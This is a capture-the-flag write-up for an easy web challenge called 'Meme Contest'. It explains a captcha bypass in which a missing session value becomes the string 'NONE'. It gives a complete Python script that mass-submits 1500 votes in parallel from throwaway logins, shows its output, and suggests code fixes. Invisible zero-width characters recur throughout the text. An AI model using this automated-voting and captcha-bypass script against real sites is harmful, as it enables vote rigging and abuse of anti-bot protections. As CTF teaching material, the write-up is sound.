← Back to Writeups
CUSTOMEasyWeb

Meme Contest

XESXOR9/2/20264 min read
#web#custom#easy#automated-voting-with-parallel#captcha-bypass-via-none-to-str#session-state-manipulation

Meme Contest

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Automated voting with parallel requests, Captcha bypass via None-to-string type confusion, Session state manipulation

Summary

Walkthrough of the CUSTOM Web Meme Contest. Task: Meme voting platform requiring 1337 votes to win. Solution: Captcha bypass via None-to-string type confusion - str(session.get("captcha_text")) returns "None" when not set, allowing votes with c

Description

— Я друг, я тебя не обижу, — слышите вы жалобный голос со стороны океана. Оборачиваетесь и видите: далеко в пучине забытых мемов тонет котик «Бу, испугался». Не дайте мему умереть, спасите доброго кота, он вас не обидит.

Голосование за лучший мем: memecontest-4xrax051.alfactf.ru/ Исходники избирательной платформы: https://alfactf.ru/files/memecontest_554ba41.tar.gz

A meme voting platform. Need to collect 1337 votes for meme #6 (the "Boo! Scared?" cat) to get the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Source Code Review

The key vulnerability is in routes.py in the captcha validation logic:

python
@app.route('/api/submit-vote', methods=['POST'])
def submit_vote():
    data = request.get_json()
    meme_id = data.get('meme_id')
    captcha_input = str(data.get('captcha_input', '')).upper()
    
    # Getting captcha from session
    session_captcha = str(session.get('captcha_text')).upper()
    if not session_captcha:
        return jsonify({'success': False, 'error': 'Код не найдена в сессии...'})
    
    if not verify_captcha(captcha_input, session_captcha):
        return jsonify({'success': False, 'error': 'Неверный код!'})
    
    # ... vote is processed

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Chain

  1. When captcha_text is not set in session:

    • session.get('captcha_text') returns None
    • str(None) returns the string "None"
    • "None".upper() returns "NONE"
  2. The if not session_captcha check:

    • if not "NONE" = if False (non-empty string is truthy)
    • Check passes, code continues execution
  3. Captcha validation:

    • verify_captcha("NONE", "NONE") returns True
    • Vote is counted!

Exploitation Condition

The captcha is set in session only when visiting the /golosovanie page. If a user:

  1. Logs in via /login
  2. Does NOT navigate to /golosovanie
  3. Immediately submits a vote with captcha_input: "NONE" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

...the captcha will be successfully "passed"!

Solution

Exploit

python
#!/usr/bin/env python3
"""
Meme Contest - Captcha Bypass via None-to-String Type Confusion

Vulnerability: str(session.get('captcha_text')).upper() = "NONE" when captcha is not set
Exploitation: Login without visiting /golosovanie + vote with captcha_input="NONE"
"""

import requests
import secrets
from concurrent.futures import ThreadPoolExecutor, as_completed

TARGET = 'https://memecontest-4xrax051.alfactf.ru'
MEME_ID = 6  # "Boo! Scared?" cat
VOTES_NEEDED = 1337
PARALLEL_WORKERS = 50
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def vote_once():
    """Single vote with captcha bypass"""
    s = requests.Session()
    s.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    
    # 1. Login with random passport (do NOT navigate to /golosovanie!)
    passport = secrets.token_hex(6)
    s.post(f'{TARGET}/login', 
           data={'passport': passport}, 
           allow_redirects=False)  # Important: don't follow redirect!
    
    # 2. Vote with "NONE" as captcha
    response = s.post(
        f'{TARGET}/api/submit-vote',
        json={'meme_id': MEME_ID, 'captcha_input': 'NONE'},
        headers={'Content-Type': 'application/json'}
    )
    
    return response.json()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def mass_vote(count):
    """Mass voting in parallel threads"""
    successful = 0
    
    with ThreadPoolExecutor(max_workers=PARALLEL_WORKERS) as executor:
        futures = [executor.submit(vote_once) for _ in range(count)]
        
        for i, future in enumerate(as_completed(futures)):
            try:
                result = future.result()
                if result.get('success'):
                    successful += 1
                if (i + 1) % 100 == 0:
                    print(f"Progress: {i + 1}/{count}, successful: {successful}")
            except Exception as e:
                print(f"Error: {e}")
    
    return successful
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def check_results():
    """Check results and get flag"""
    s = requests.Session()
    s.post(f'{TARGET}/login', data={'passport': 'checker'})
    response = s.get(f'{TARGET}/results')
    return response.text

if __name__ == '__main__':
    print(f"[*] Voting for meme #{MEME_ID} with captcha bypass...")
    print(f"[*] Target: {VOTES_NEEDED} votes")
    
    # Vote with some extra margin
    successful = mass_vote(1500)
    print(f"[+] Successful votes: {successful}")
    
    # Check results
    print("[*] Checking results...")
    results = check_results()
    
    if 'alfa{' in results:
        import re
        flag = re.search(r'alfa\{[^}]+\}', results)
        if flag:
            print(f"[+] FLAG: {flag.group()}")
    else:
        print("[-] Flag not found, may need more votes")
        print(results[:500])

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Execution Result

[*] Voting for meme #6 with captcha bypass...
[*] Target: 1337 votes
Progress: 100/1500, successful: 100
Progress: 200/1500, successful: 200
...
Progress: 1500/1500, successful: 1500
[+] Successful votes: 1500
[*] Checking results...
[+] FLAG: alfa{REDACTED}

Proper Fix

python
# Option 1: Check BEFORE string conversion
session_captcha = session.get('captcha_text')
if not session_captcha:
    return jsonify({'success': False, 'error': 'Captcha not found in session...'})
session_captcha = str(session_captcha).upper()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Option 2: Explicit None check
session_captcha = session.get('captcha_text')
if session_captcha is None:
    return jsonify({'success': False, 'error': 'Captcha not found in session...'})
session_captcha = str(session_captcha).upper()

# Option 3: Using default value
session_captcha = session.get('captcha_text', '')
if not session_captcha:
    return jsonify({'success': False, 'error': 'Captcha not found in session...'})

Easter Egg

The flag alfa{REDACTED} is a reference to "Schrödinger's cat". The captcha simultaneously exists and doesn't exist, like the cat in the box. Perfectly fits the task about saving a cat meme! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering Automated voting with parallel requests, Captcha bypass via None-to-string type confusion, Session state manipulation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2025-12-20 • CUSTOM • Meme Contest • Difficulty: Easy